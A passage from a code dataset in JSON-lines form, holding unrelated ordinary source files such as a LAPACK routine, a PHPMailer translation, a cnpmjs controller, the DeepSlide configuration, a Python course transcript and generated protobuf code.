0.f) {\n\treturn 0;\n }\n\n smlnum = slamch_(\"Safe minimum\");\n\n/* Estimate the 1-norm of the inverse. */\n\n kase = 0;\n *(unsigned char *)normin = 'N';\nL10:\n slacn2_(n, &work[*n + 1], &work[1], &iwork[1], &ainvnm, &kase, isave);\n if (kase != 0) {\n\tif (upper) {\n\n/* Multiply by inv(U'). */\n\n\t slatbs_(\"Upper\", \"Transpose\", \"Non-unit\", normin, n, kd, &ab[\n\t\t ab_offset], ldab, &work[1], &scalel, &work[(*n << 1) + 1], \n\t\t info);\n\t *(unsigned char *)normin = 'Y';\n\n/* Multiply by inv(U). */\n\n\t slatbs_(\"Upper\", \"No transpose\", \"Non-unit\", normin, n, kd, &ab[\n\t\t ab_offset], ldab, &work[1], &scaleu, &work[(*n << 1) + 1], \n\t\t info);\n\t} else {\n\n/* Multiply by inv(L). */\n\n\t slatbs_(\"Lower\", \"No transpose\", \"Non-unit\", normin, n, kd, &ab[\n\t\t ab_offset], ldab, &work[1], &scalel, &work[(*n << 1) + 1], \n\t\t info);\n\t *(unsigned char *)normin = 'Y';\n\n/* Multiply by inv(L'). */\n\n\t slatbs_(\"Lower\", \"Transpose\", \"Non-unit\", normin, n, kd, &ab[\n\t\t ab_offset], ldab, &work[1], &scaleu, &work[(*n << 1) + 1], \n\t\t info);\n\t}\n\n/* Multiply by 1/SCALE if doing so will not cause overflow. */\n\n\tscale = scalel * scaleu;\n\tif (scale != 1.f) {\n\t ix = isamax_(n, &work[1], &c__1);\n\t if (scale < (r__1 = work[ix], dabs(r__1)) * smlnum || scale == \n\t\t 0.f) {\n\t\tgoto L20;\n\t }\n\t srscl_(n, &scale, &work[1], &c__1);\n\t}\n\tgoto L10;\n }\n\n/* Compute the estimate of the reciprocal condition number. */\n\n if (ainvnm != 0.f) {\n\t*rcond = 1.f / ainvnm / *anorm;\n }\n\nL20:\n\n return 0;\n\n/* End of SPBCON */\n\n} /* spbcon_ */\n"} +{"text": "\n * @fixed by Boris Yurchenko \n */\n\n$PHPMAILER_LANG['authenticate'] = 'Помилка SMTP: помилка авторизації.';\n$PHPMAILER_LANG['connect_host'] = 'Помилка SMTP: не вдається під\\'єднатися до SMTP-серверу.';\n$PHPMAILER_LANG['data_not_accepted'] = 'Помилка SMTP: дані не прийнято.';\n$PHPMAILER_LANG['encoding'] = 'Невідоме кодування: ';\n$PHPMAILER_LANG['execute'] = 'Неможливо виконати команду: ';\n$PHPMAILER_LANG['file_access'] = 'Немає доступу до файлу: ';\n$PHPMAILER_LANG['file_open'] = 'Помилка файлової системи: не вдається відкрити файл: ';\n$PHPMAILER_LANG['from_failed'] = 'Невірна адреса відправника: ';\n$PHPMAILER_LANG['instantiate'] = 'Неможливо запустити функцію mail().';\n$PHPMAILER_LANG['provide_address'] = 'Будь-ласка, введіть хоча б одну email-адресу отримувача.';\n$PHPMAILER_LANG['mailer_not_supported'] = ' - поштовий сервер не підтримується.';\n$PHPMAILER_LANG['recipients_failed'] = 'Помилка SMTP: не вдалося відправлення для таких отримувачів: ';\n$PHPMAILER_LANG['empty_message'] = 'Пусте повідомлення';\n$PHPMAILER_LANG['invalid_address'] = 'Не відправлено через невірний формат email-адреси: ';\n$PHPMAILER_LANG['signing'] = 'Помилка підпису: ';\n$PHPMAILER_LANG['smtp_connect_failed'] = 'Помилка з\\'єднання з SMTP-сервером';\n$PHPMAILER_LANG['smtp_error'] = 'Помилка SMTP-сервера: ';\n$PHPMAILER_LANG['variable_set'] = 'Неможливо встановити або скинути змінну: ';\n$PHPMAILER_LANG['extension_missing'] = 'Розширення відсутнє: ';\n"} +{"text": "\n\n\n\n\nUses of Class com.google.gwt.core.shared.GWTBridge (GWT Javadoc)\n\n\n\n\n\n\n\n
\n\n\n
Skip navigation links
\n\n\n\n\n
GWT 2.9.0
\n
\n
\n
    \n
  • Prev
    • \n
  • Next
    • \n
\n\n\n
\n\n
\n\n\n
\n\n
\n

Uses of Class
com.google.gwt.core.shared.GWTBridge

\n
\n
\n\n
\n\n
\n\n\n
Skip navigation links
\n\n\n\n\n
GWT 2.9.0
\n
\n
\n
    \n
  • Prev
    • \n
  • Next
    • \n
\n\n\n
\n\n
\n\n\n
\n\n\n\n"} +{"text": "'use strict';\n\nvar debug = require('debug')('cnpmjs.org:controllers:registry:user:update');\nvar ensurePasswordSalt = require('./common').ensurePasswordSalt;\nvar userService = require('../../../services/user');\n\n// logined before update, no need to auth user again\n// { name: 'admin',\n// password: '123123',\n// email: 'fengmk2@gmail.com',\n// _id: 'org.couchdb.user:admin',\n// type: 'user',\n// roles: [],\n// date: '2014-08-05T16:08:22.645Z',\n// _rev: '1-1a18c3d73ba42e863523a399ff3304d8',\n// _cnpm_meta:\n// { id: 14,\n// npm_user: false,\n// custom_user: false,\n// gmt_create: '2014-08-05T15:46:58.000Z',\n// gmt_modified: '2014-08-05T15:46:58.000Z',\n// admin: true,\n// scopes: [ '@cnpm', '@cnpmtest' ] } }\nmodule.exports = function* updateUser(next) {\n var name = this.params.name;\n var rev = this.params.rev;\n if (!name || !rev) {\n return yield next;\n }\n debug('update: %s, rev: %s, user.name: %s', name, rev, this.user.name);\n\n if (name !== this.user.name) {\n // must auth user first\n this.status = 401;\n const error = '[unauthorized] Name is incorrect';\n this.body = {\n error,\n reason: error,\n };\n return;\n }\n\n var body = this.request.body || {};\n var user = {\n name: body.name,\n // salt: body.salt,\n // password_sha: body.password_sha,\n email: body.email,\n ip: this.ip || '0.0.0.0',\n rev: body.rev || body._rev,\n // roles: body.roles || [],\n };\n\n debug('update user %j', body);\n\n ensurePasswordSalt(user, body);\n\n if (!body.password || !user.name || !user.salt || !user.password_sha || !user.email) {\n this.status = 422;\n const error = '[param_error] params missing, name, email or password missing';\n this.body = {\n error,\n reason: error,\n };\n return;\n }\n\n var result = yield userService.update(user);\n if (!result) {\n this.status = 409;\n const error = '[conflict] Document update conflict';\n this.body = {\n error,\n reason: error,\n };\n return;\n }\n\n this.status = 201;\n this.body = {\n ok: true,\n id: 'org.couchdb.user:' + user.name,\n rev: result.rev\n };\n};\n"} +{"text": "module WebSync\n module Routes\n # Block most XHR (originated from javascript). This stops scripts from doing anything malicious to other documents.\n class XHR < Base\n helpers do\n # Returns the current request path\n #\n # @return [String] the current path\n def path\n request.path_info\n end\n\n # Is the route an asset?\n #\n # @return [Boolean]\n def route_assets?\n request.path_info.match %r{^/assets/}\n end\n\n # Is the route a doc upload?\n #\n # @return [Boolean]\n def route_upload?\n request.post? && path.match(%r{^/#{doc}/upload$})\n end\n\n # Is the route a doc asset?\n #\n # @return [Boolean]\n def route_doc_assets?\n request.get? && path.match(%r{^/#{doc}/assets/})\n end\n\n # Is the route an acceptable API request?\n #\n # @return [Boolean]\n def route_api?\n request.get? && path.match(%r{^/api})\n end\n end\n before do\n # Allow static assets.\n if request.xhr? && !route_assets? && !route_api?\n referer = URI.parse(request.env[\"HTTP_REFERER\"]).path\n bits = referer.split(\"/\")\n doc = bits[1] || ''\n\n # Only allow post \"upload\" and get \"assets/#{asset}\".\n if doc.length < 2 || !(route_upload? || route_assets?)\n halt 403\n end\n end\n end\n end\n end\nend\n"} +{"text": "//\n// Generated by class-dump 3.5 (64 bit).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import \n\n@class NSMutableDictionary, NSString;\n@protocol OS_dispatch_semaphore;\n\n@interface TVKeyboardHistoryService : NSObject\n{\n NSMutableDictionary *_categories;\n NSObject *_semaphore;\n NSString *_filePath;\n}\n\n+ (id)sharedService;\n- (void).cxx_destruct;\n- (void)_readCategoriesFromDiskAsynchronously;\n- (void)removeItemsInCategory:(id)arg1;\n- (void)addItem:(id)arg1 forCategory:(id)arg2;\n- (void)fetchItemsForCategory:(id)arg1 completionBlock:(CDUnknownBlockType)arg2;\n- (id)init;\n\n@end\n\n"} +{"text": "var arrayMap = require('./_arrayMap'),\n copyArray = require('./_copyArray'),\n isArray = require('./isArray'),\n isSymbol = require('./isSymbol'),\n stringToPath = require('./_stringToPath'),\n toKey = require('./_toKey');\n\n/**\n * Converts `value` to a property path array.\n *\n * @static\n * @memberOf _\n * @since 4.0.0\n * @category Util\n * @param {*} value The value to convert.\n * @returns {Array} Returns the new property path array.\n * @example\n *\n * _.toPath('a.b.c');\n * // => ['a', 'b', 'c']\n *\n * _.toPath('a[0].b.c');\n * // => ['a', '0', 'b', 'c']\n */\nfunction toPath(value) {\n if (isArray(value)) {\n return arrayMap(value, toKey);\n }\n return isSymbol(value) ? [value] : copyArray(stringToPath(value));\n}\n\nmodule.exports = toPath;\n"} +{"text": "\"\"\"\nDeepSlide\nContains all hyperparameters for the entire repository.\n\nAuthors: Jason Wei, Behnaz Abdollahi, Saeed Hassanpour\n\"\"\"\n\nimport argparse\nfrom pathlib import Path\n\nimport torch\n\nfrom compute_stats import compute_stats\nfrom utils import (get_classes, get_log_csv_name)\n\n# Source: https://stackoverflow.com/questions/12151306/argparse-way-to-include-default-values-in-help\nparser = argparse.ArgumentParser(\n description=\"DeepSlide\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n###########################################\n# USER INPUTS #\n###########################################\n# Input folders for training images.\n# Must contain subfolders of images labelled by class.\n# If your two classes are 'a' and 'n', you must have a/*.jpg with the images in class a and\n# n/*.jpg with the images in class n.\nparser.add_argument(\n \"--all_wsi\",\n type=Path,\n default=Path(\"all_wsi\"),\n help=\"Location of the WSI organized in subfolders by class\")\n# For splitting into validation set.\nparser.add_argument(\"--val_wsi_per_class\",\n type=int,\n default=20,\n help=\"Number of WSI per class to use in validation set\")\n# For splitting into testing set, remaining images used in train.\nparser.add_argument(\"--test_wsi_per_class\",\n type=int,\n default=30,\n help=\"Number of WSI per class to use in test set\")\n# When splitting, do you want to move WSI or copy them?\nparser.add_argument(\n \"--keep_orig_copy\",\n type=bool,\n default=True,\n help=\n \"Whether to move or copy the WSI when splitting into training, validation, and test sets\"\n)\n\n#######################################\n# GENERAL #\n#######################################\n# Number of processes to use.\nparser.add_argument(\"--num_workers\",\n type=int,\n default=8,\n help=\"Number of workers to use for IO\")\n# Default shape for ResNet in PyTorch.\nparser.add_argument(\"--patch_size\",\n type=int,\n default=224,\n help=\"Size of the patches extracted from the WSI\")\n\n##########################################\n# DATA SPLIT #\n##########################################\n# The names of your to-be folders.\nparser.add_argument(\"--wsi_train\",\n type=Path,\n default=Path(\"wsi_train\"),\n help=\"Location to be created to store WSI for training\")\nparser.add_argument(\"--wsi_val\",\n type=Path,\n default=Path(\"wsi_val\"),\n help=\"Location to be created to store WSI for validation\")\nparser.add_argument(\"--wsi_test\",\n type=Path,\n default=Path(\"wsi_test\"),\n help=\"Location to be created to store WSI for testing\")\n\n# Where the CSV file labels will go.\nparser.add_argument(\"--labels_train\",\n type=Path,\n default=Path(\"labels_train.csv\"),\n help=\"Location to store the CSV file labels for training\")\nparser.add_argument(\n \"--labels_val\",\n type=Path,\n default=Path(\"labels_val.csv\"),\n help=\"Location to store the CSV file labels for validation\")\nparser.add_argument(\"--labels_test\",\n type=Path,\n default=Path(\"labels_test.csv\"),\n help=\"Location to store the CSV file labels for testing\")\n\n###############################################################\n# PROCESSING AND PATCH GENERATION #\n###############################################################\n# This is the input for model training, automatically built.\nparser.add_argument(\n \"--train_folder\",\n type=Path,\n default=Path(\"train_folder\"),\n help=\"Location of the automatically built training input folder\")\n\n# Folders of patches by WSI in training set, used for finding training accuracy at WSI level.\nparser.add_argument(\n \"--patches_eval_train\",\n type=Path,\n default=Path(\"patches_eval_train\"),\n help=\n \"Folders of patches by WSI in training set, used for finding training accuracy at WSI level\"\n)\n# Folders of patches by WSI in validation set, used for finding validation accuracy at WSI level.\nparser.add_argument(\n \"--patches_eval_val\",\n type=Path,\n default=Path(\"patches_eval_val\"),\n help=\n \"Folders of patches by WSI in validation set, used for finding validation accuracy at WSI level\"\n)\n# Folders of patches by WSI in test set, used for finding test accuracy at WSI level.\nparser.add_argument(\n \"--patches_eval_test\",\n type=Path,\n default=Path(\"patches_eval_test\"),\n help=\n \"Folders of patches by WSI in testing set, used for finding test accuracy at WSI level\"\n)\n\n# Target number of training patches per class.\nparser.add_argument(\"--num_train_per_class\",\n type=int,\n default=80000,\n help=\"Target number of training samples per class\")\n\n# Only looks for purple images and filters whitespace.\nparser.add_argument(\n \"--type_histopath\",\n type=bool,\n default=True,\n help=\"Only look for purple histopathology images and filter whitespace\")\n\n# Number of purple points for region to be considered purple.\nparser.add_argument(\n \"--purple_threshold\",\n type=int,\n default=100,\n help=\"Number of purple points for region to be considered purple.\")\n\n# Scalar to use for reducing image to check for purple.\nparser.add_argument(\n \"--purple_scale_size\",\n type=int,\n default=15,\n help=\"Scalar to use for reducing image to check for purple.\")\n\n# Sliding window overlap factor (for testing).\n# For generating patches during the training phase, we slide a window to overlap by some factor.\n# Must be an integer. 1 means no overlap, 2 means overlap by 1/2, 3 means overlap by 1/3.\n# Recommend 2 for very high resolution, 3 for medium, and 5 not extremely high resolution images.\nparser.add_argument(\"--slide_overlap\",\n type=int,\n default=3,\n help=\"Sliding window overlap factor for the testing phase\")\n\n# Overlap factor to use when generating validation patches.\nparser.add_argument(\n \"--gen_val_patches_overlap_factor\",\n type=float,\n default=1.5,\n help=\"Overlap factor to use when generating validation patches.\")\n\nparser.add_argument(\"--image_ext\",\n type=str,\n default=\"jpg\",\n help=\"Image extension for saving patches\")\n\n# Produce patches for testing and validation by folder. The code only works\n# for now when testing and validation are split by folder.\nparser.add_argument(\n \"--by_folder\",\n type=bool,\n default=True,\n help=\"Produce patches for testing and validation by folder.\")\n\n#########################################\n# TRANSFORM #\n#########################################\nparser.add_argument(\n \"--color_jitter_brightness\",\n type=float,\n default=0.5,\n help=\n \"Random brightness jitter to use in data augmentation for ColorJitter() transform\"\n)\nparser.add_argument(\n \"--color_jitter_contrast\",\n type=float,\n default=0.5,\n help=\n \"Random contrast jitter to use in data augmentation for ColorJitter() transform\"\n)\nparser.add_argument(\n \"--color_jitter_saturation\",\n type=float,\n default=0.5,\n help=\n \"Random saturation jitter to use in data augmentation for ColorJitter() transform\"\n)\nparser.add_argument(\n \"--color_jitter_hue\",\n type=float,\n default=0.2,\n help=\n \"Random hue jitter to use in data augmentation for ColorJitter() transform\"\n)\n\n########################################\n# TRAINING #\n########################################\n# Model hyperparameters.\nparser.add_argument(\"--num_epochs\",\n type=int,\n default=20,\n help=\"Number of epochs for training\")\n# Choose from [18, 34, 50, 101, 152].\nparser.add_argument(\n \"--num_layers\",\n type=int,\n default=18,\n help=\n \"Number of layers to use in the ResNet model from [18, 34, 50, 101, 152]\")\nparser.add_argument(\"--learning_rate\",\n type=float,\n default=0.001,\n help=\"Learning rate to use for gradient descent\")\nparser.add_argument(\"--batch_size\",\n type=int,\n default=16,\n help=\"Mini-batch size to use for training\")\nparser.add_argument(\"--weight_decay\",\n type=float,\n default=1e-4,\n help=\"Weight decay (L2 penalty) to use in optimizer\")\nparser.add_argument(\"--learning_rate_decay\",\n type=float,\n default=0.85,\n help=\"Learning rate decay amount per epoch\")\nparser.add_argument(\"--resume_checkpoint\",\n type=bool,\n default=False,\n help=\"Resume model from checkpoint file\")\nparser.add_argument(\"--save_interval\",\n type=int,\n default=1,\n help=\"Number of epochs between saving checkpoints\")\n# Where models are saved.\nparser.add_argument(\"--checkpoints_folder\",\n type=Path,\n default=Path(\"checkpoints\"),\n help=\"Directory to save model checkpoints to\")\n\n# Name of checkpoint file to load from.\nparser.add_argument(\n \"--checkpoint_file\",\n type=Path,\n default=Path(\"xyz.pt\"),\n help=\"Checkpoint file to load if resume_checkpoint_path is True\")\n# ImageNet pretrain?\nparser.add_argument(\"--pretrain\",\n type=bool,\n default=False,\n help=\"Use pretrained ResNet weights\")\nparser.add_argument(\"--log_folder\",\n type=Path,\n default=Path(\"logs\"),\n help=\"Directory to save logs to\")\n\n##########################################\n# PREDICTION #\n##########################################\n# Selecting the best model.\n# Automatically select the model with the highest validation accuracy.\nparser.add_argument(\n \"--auto_select\",\n type=bool,\n default=True,\n help=\"Automatically select the model with the highest validation accuracy\")\n# Where to put the training prediction CSV files.\nparser.add_argument(\n \"--preds_train\",\n type=Path,\n default=Path(\"preds_train\"),\n help=\"Directory for outputting training prediction CSV files\")\n# Where to put the validation prediction CSV files.\nparser.add_argument(\n \"--preds_val\",\n type=Path,\n default=Path(\"preds_val\"),\n help=\"Directory for outputting validation prediction CSV files\")\n# Where to put the testing prediction CSV files.\nparser.add_argument(\n \"--preds_test\",\n type=Path,\n default=Path(\"preds_test\"),\n help=\"Directory for outputting testing prediction CSV files\")\n\n##########################################\n# EVALUATION #\n##########################################\n# Folder for outputting WSI predictions based on each threshold.\nparser.add_argument(\n \"--inference_train\",\n type=Path,\n default=Path(\"inference_train\"),\n help=\n \"Folder for outputting WSI training predictions based on each threshold\")\nparser.add_argument(\n \"--inference_val\",\n type=Path,\n default=Path(\"inference_val\"),\n help=\n \"Folder for outputting WSI validation predictions based on each threshold\")\nparser.add_argument(\n \"--inference_test\",\n type=Path,\n default=Path(\"inference_test\"),\n help=\"Folder for outputting WSI testing predictions based on each threshold\"\n)\n\n# For visualization.\nparser.add_argument(\n \"--vis_train\",\n type=Path,\n default=Path(\"vis_train\"),\n help=\"Folder for outputting the WSI training prediction visualizations\")\nparser.add_argument(\n \"--vis_val\",\n type=Path,\n default=Path(\"vis_val\"),\n help=\"Folder for outputting the WSI validation prediction visualizations\")\nparser.add_argument(\n \"--vis_test\",\n type=Path,\n default=Path(\"vis_test\"),\n help=\"Folder for outputting the WSI testing prediction visualizations\")\n\n#######################################################\n# ARGUMENTS FROM ARGPARSE #\n#######################################################\nargs = parser.parse_args()\n\n# Device to use for PyTorch code.\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n# Automatically read in the classes.\nclasses = get_classes(folder=args.all_wsi)\nnum_classes = len(classes)\n\n# This is the input for model training, automatically built.\ntrain_patches = args.train_folder.joinpath(\"train\")\nval_patches = args.train_folder.joinpath(\"val\")\n\n# Compute the mean and standard deviation for the given set of WSI for normalization.\npath_mean, path_std = compute_stats(folderpath=args.all_wsi,\n image_ext=args.image_ext)\n\n# Only used is resume_checkpoint is True.\nresume_checkpoint_path = args.checkpoints_folder.joinpath(args.checkpoint_file)\n\n# Named with date and time.\nlog_csv = get_log_csv_name(log_folder=args.log_folder)\n\n# Does nothing if auto_select is True.\neval_model = args.checkpoints_folder.joinpath(args.checkpoint_file)\n\n# Find the best threshold for filtering noise (discard patches with a confidence less than this threshold).\nthreshold_search = (0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9)\n\n# For visualization.\n# This order is the same order as your sorted classes.\ncolors = (\"red\", \"white\", \"blue\", \"green\", \"purple\", \"orange\", \"black\", \"pink\",\n \"yellow\")\n\n# Print the configuration.\n# Source: https://stackoverflow.com/questions/44689546/how-to-print-out-a-dictionary-nicely-in-python/44689627\n# chr(10) and chr(9) are ways of going around the f-string limitation of\n# not allowing the '\\' character inside.\nprint(f\"############### CONFIGURATION ###############\\n\"\n f\"{chr(10).join(f'{k}:{chr(9)}{v}' for k, v in vars(args).items())}\\n\"\n f\"device:\\t{device}\\n\"\n f\"classes:\\t{classes}\\n\"\n f\"num_classes:\\t{num_classes}\\n\"\n f\"train_patches:\\t{train_patches}\\n\"\n f\"val_patches:\\t{val_patches}\\n\"\n f\"path_mean:\\t{path_mean}\\n\"\n f\"path_std:\\t{path_std}\\n\"\n f\"resume_checkpoint_path:\\t{resume_checkpoint_path}\\n\"\n f\"log_csv:\\t{log_csv}\\n\"\n f\"eval_model:\\t{eval_model}\\n\"\n f\"threshold_search:\\t{threshold_search}\\n\"\n f\"colors:\\t{colors}\\n\"\n f\"\\n#####################################################\\n\\n\\n\")\n"} +{"text": "\n\n\n\n\n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n \n \n \n \n \n \n \n \n \n \n\n\n"} +{"text": "# This file is automatically generated by Android Tools.\n# Do not modify this file -- YOUR CHANGES WILL BE ERASED!\n#\n# This file must be checked in Version Control Systems.\n#\n# To customize properties used by the Ant build system use,\n# \"build.properties\", and override values to adapt the script to your\n# project structure.\n\n# Project target.\ntarget=android-8\n"} +{"text": "/*\n * Copyright (C) 2020 Jakub Kruszona-Zawadzki, Core Technology Sp. z o.o.\n * \n * This file is part of MooseFS.\n * \n * MooseFS is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, version 2 (only).\n * \n * MooseFS is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with MooseFS; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02111-1301, USA\n * or visit http://www.gnu.org/licenses/gpl-2.0.html\n */\n\n#ifndef _DENTRY_INVALIDATOR_H_\n#define _DENTRY_INVALIDATOR_H_\n\n#include \n\nvoid dinval_add(uint32_t parent,uint8_t nleng,const uint8_t *name,uint32_t inode);\nvoid dinval_remove(uint32_t parent,uint8_t nleng,const uint8_t *name);\nvoid dinval_init(double timeout);\n\n#endif\n"} +{"text": "[Return To Repository](https://github.com/deathbybandaid/piholeparser/)\n[Return To Main](https://github.com/deathbybandaid/piholeparser/blob/master/RecentRunLogs/Mainlog.md)\n[Go Up One Level](https://github.com/deathbybandaid/piholeparser/blob/master/RecentRunLogs/TopLevelScripts/30-Processing-External-Blacklists.md)\n____________________________________\n# PeterLowes\n## Setting Temporary Parsing Variables\n## Checking For Existing Mirror File\n## Checking For Github Mirror File\n## Checking For Existing Parsed File\n## Checking If Multiple Sources\n## The Source In The File To Download Is\n## Checking For HTTPS\n## Pinging Source To Check Host Availability\n## Checking File Header\n## Determining Host Availability\n## Checking If List Updated Online\n"} +{"text": "# Controller for the Location model\nclass LocationsController < ContentController\n autocomplete :location, :name\n\n private\n\n def content_param_list\n [\n :universe_id, :user_id, :name, :type_of, :description, #:map,\n :population, :currency, :motto, :language,\n :area, :crops, :located_at, :established_year, :notable_wars,\n :notes, :private_notes, :privacy, :laws, :climate, :founding_story,\n :sports,\n\n # Relations\n #todo might be able to inject/reflect these from :relates concern implementation\n #todo why are capital/largest/notable relationships doubled up here? \n custom_attribute_values: [:name, :value],\n location_leaderships_attributes: [:id, :leader_id, :_destroy],\n capital_cities_relationships_attributes: [:id, :capital_city_id, :_destroy],\n largest_cities_relationships_attributes: [:id, :largest_city_id, :_destroy],\n notable_cities_relationships_attributes: [:id, :notable_city_id, :_destroy],\n location_languageships_attributes: [:id, :language_id, :_destroy],\n location_capital_towns_attributes: [:id, :capital_town_id, :_destroy],\n location_largest_towns_attributes: [:id, :largest_town_id, :_destroy],\n location_notable_towns_attributes: [:id, :notable_town_id, :_destroy],\n location_landmarks_attributes: [:id, :landmark_id, :_destroy]\n ]\n end\nend\n"} +{"text": "0:01 Hello and welcome to the course Write Pythonic Code Like a Seasoned Developer.\n0:04 My name is Michael Kennedy and we are going to be on this journey together\n0:07 to help you write more readable, more efficient and more natural Python code.\n0:13 So what is Pythonic code anyway?\n0:16 When developers are new to Python, they often hear this phrase Pythonic\n0:20 and they ask what exactly does that mean?\n0:23 In any language, there is a way of doing things naturally\n0:26 and a way that kind of fight the conventions of the language.\n0:30 When you work naturally with the language features and the runtime features,\n0:33 this is called idiomatic code,\n0:35 and in Python when you write idiomatic Python we call this Pythonic code.\n0:40 One of the challenges in Python is it's super easy to get started\n0:43 and kind of learn the basics and start writing programs\n0:46 before you really master the language.\n0:48 And what that often means is people come in from other languages\n0:51 like C++ or Java or something like that,\n0:53 they will take algorithms or code that they have and bring it over to Python\n0:57 and they will just tweak the syntax until it executes in Python,\n1:00 but this often uses the language features of - let's just focus on Java.\n1:04 In Python there is often a more concise, more natural way of doing things,\n1:09 and when you look at code that came over from Java,\n1:11 we'll just take a really simple example-\n1:13 if you have a class and the class has a getValue() and setValue(),\n1:17 because in Java that is typically the way you do encapsulation,\n1:20 and people bring those classes in this code over and migrate it to Python,\n1:24 they might still have this weird getter/setter type of code.\n1:28 And that would look completely bizzare in Python\n1:31 because we have properties for example.\n1:33 So we are going to look at this idea of Pythonic code,\n1:36 now, it's pretty easy to understand but it turns out to be fairly hard to make concrete,\n1:40 you'll see a lot of blog posts and things of people trying to put structure\n1:44 or examples behind this concept of Pythonic code.\n1:48 We are going to go through over 50 examples of things I consider Pythonic\n1:53 and by the end you'll have many examples,\n1:56 patterns and so on to help you have a solid grip on what Pythonic code is.\n2:02 So what is Pythonic code and why does it matter?\n2:05 Well, when you write Pythonic code,\n2:07 you are leveraging the experience of 25 years of many thousands,\n2:10 maybe millions of developers,\n2:12 these guys and girls have worked in this language day in and day out\n2:16 for the last 25 years and they really perfected the way\n2:19 of working with classes, functions, loops, and so on,\n2:23 and when you are new especially,\n2:25 it's very helpful to just study what those folks have done and mimic that.\n2:29 When you write Pythonic code, you are writing code\n2:32 that is specifically tuned to the CPython runtime.\n2:35 The CPython interpreter and the Python language have evolved together,\n2:40 they have grown up together,\n2:42 so the idioms of the Python language are of course matched\n2:44 or paired well with the underlying runtime,\n2:47 so writing Pythonic code is an easy way\n2:50 to write code that the interpreter expects to run.\n2:54 When you write Pythonic code,\n2:56 you are writing code that is easily read and understood by Python developers.\n2:59 A Python developer can look at standard idiomatic Python\n3:03 and just glance at sections and go,\n3:05 \"oh, I see what they are doing here, I see what they are doing there, bam, bam, bam\"\n3:09 and quickly understand it.\n3:10 If instead it's some algorithm that is taken from another language with other idioms,\n3:15 the experienced developer has to read through and try to understand\n3:20 what is happening at a much lower level,\n3:23 and so your code is more readable to experienced developers\n3:27 and even if you are new will become probably more readable to you\n3:30 if you write Pythonic code.\n3:32 One of the super powers of Python is that it is a very readable\n3:36 and simple language without giving up the expressiveness of the language.\n3:40 People coming from other languages that are less simple,\n3:43 less clean and easy to work with\n3:46 will bring those programming practices or those idioms over\n3:49 and they will write code that is not as simple as it could be in Python\n3:53 even though maybe it was a simple as it could be in C.\n3:56 So when you write Pythonic code,\n3:57 you are often writing code that is simpler and cleaner\n4:00 than otherwise would be the case.\n4:02 If you are working on an open source project,\n4:04 it will be easier for other contributors to join in because like I said,\n4:08 it's easier for them to read and understand the code at a glance,\n4:11 and they will more naturally know what you would expect them to write.\n4:14 If you are working on a software team,\n4:16 it's easier to onboard new Python developers into your team\n4:20 if you are writing idiomatic code,\n4:22 because if they already know Python\n4:23 it's much easier for them to grok\n4:26 your large project."} +{"text": "# Generated by the protocol buffer compiler. DO NOT EDIT!\n# source: data-io-param.proto\n\nimport sys\n_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))\nfrom google.protobuf import descriptor as _descriptor\nfrom google.protobuf import message as _message\nfrom google.protobuf import reflection as _reflection\nfrom google.protobuf import symbol_database as _symbol_database\n# @@protoc_insertion_point(imports)\n\n_sym_db = _symbol_database.Default()\n\n\n\n\nDESCRIPTOR = _descriptor.FileDescriptor(\n name='data-io-param.proto',\n package='com.webank.ai.fate.core.mlmodel.buffer',\n syntax='proto3',\n serialized_options=_b('B\\020DataIOParamProto'),\n serialized_pb=_b('\\n\\x13\\x64\\x61ta-io-param.proto\\x12&com.webank.ai.fate.core.mlmodel.buffer\\\"\\xdc\\x02\\n\\x0cImputerParam\\x12l\\n\\x15missing_replace_value\\x18\\x01 \\x03(\\x0b\\x32M.com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingReplaceValueEntry\\x12h\\n\\x13missing_value_ratio\\x18\\x02 \\x03(\\x0b\\x32K.com.webank.ai.fate.core.mlmodel.buffer.ImputerParam.MissingValueRatioEntry\\x1a:\\n\\x18MissingReplaceValueEntry\\x12\\x0b\\n\\x03key\\x18\\x01 \\x01(\\t\\x12\\r\\n\\x05value\\x18\\x02 \\x01(\\t:\\x02\\x38\\x01\\x1a\\x38\\n\\x16MissingValueRatioEntry\\x12\\x0b\\n\\x03key\\x18\\x01 \\x01(\\t\\x12\\r\\n\\x05value\\x18\\x02 \\x01(\\x01:\\x02\\x38\\x01\\\"\\xdc\\x02\\n\\x0cOutlierParam\\x12l\\n\\x15outlier_replace_value\\x18\\x01 \\x03(\\x0b\\x32M.com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierReplaceValueEntry\\x12h\\n\\x13outlier_value_ratio\\x18\\x02 \\x03(\\x0b\\x32K.com.webank.ai.fate.core.mlmodel.buffer.OutlierParam.OutlierValueRatioEntry\\x1a:\\n\\x18OutlierReplaceValueEntry\\x12\\x0b\\n\\x03key\\x18\\x01 \\x01(\\t\\x12\\r\\n\\x05value\\x18\\x02 \\x01(\\t:\\x02\\x38\\x01\\x1a\\x38\\n\\x16OutlierValueRatioEntry\\x12\\x0b\\n\\x03key\\x18\\x01 \\x01(\\t\\x12\\r\\n\\x05value\\x18\\x02 \\x01(\\x01:\\x02\\x38\\x01\\\"\\xdd\\x01\\n\\x0b\\x44\\x61taIOParam\\x12\\x0e\\n\\x06header\\x18\\x01 \\x03(\\t\\x12\\x10\\n\\x08sid_name\\x18\\x02 \\x01(\\t\\x12\\x12\\n\\nlabel_name\\x18\\x03 \\x01(\\t\\x12K\\n\\rimputer_param\\x18\\x04 \\x01(\\x0b\\x32\\x34.com.webank.ai.fate.core.mlmodel.buffer.ImputerParam\\x12K\\n\\routlier_param\\x18\\x05 